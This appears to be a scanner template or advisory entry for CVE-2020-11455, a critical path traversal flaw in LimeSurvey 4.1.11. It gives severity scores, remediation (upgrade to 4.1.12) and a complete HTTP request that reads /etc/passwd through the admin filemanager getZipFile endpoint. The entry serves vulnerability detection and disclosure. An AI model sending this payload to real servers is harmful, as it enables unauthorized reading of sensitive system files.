| Title | LimeSurvey 4.1.11 - Local File Inclusion |
|---|---|
| Author | daffainfo |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the server. |
| Remediation | Upgrade to the latest version of LimeSurvey (4.1.12 or higher) which includes a fix for this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93403 |
| CVE ID | CVE-2020-11455 |
| CWE ID | CWE-22 |
| Tags | cve2020 cve lfi edb packetstorm limesurvey vkev vuln |
LimeSurvey before 4.1.12+200324 is vulnerable to local file inclusion because it contains a path traversal vulnerability in application/controllers/admin/LimeSurveyFileManager.php.
GET /index.php/admin/filemanager/sa/getZipFile?path=/../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/9.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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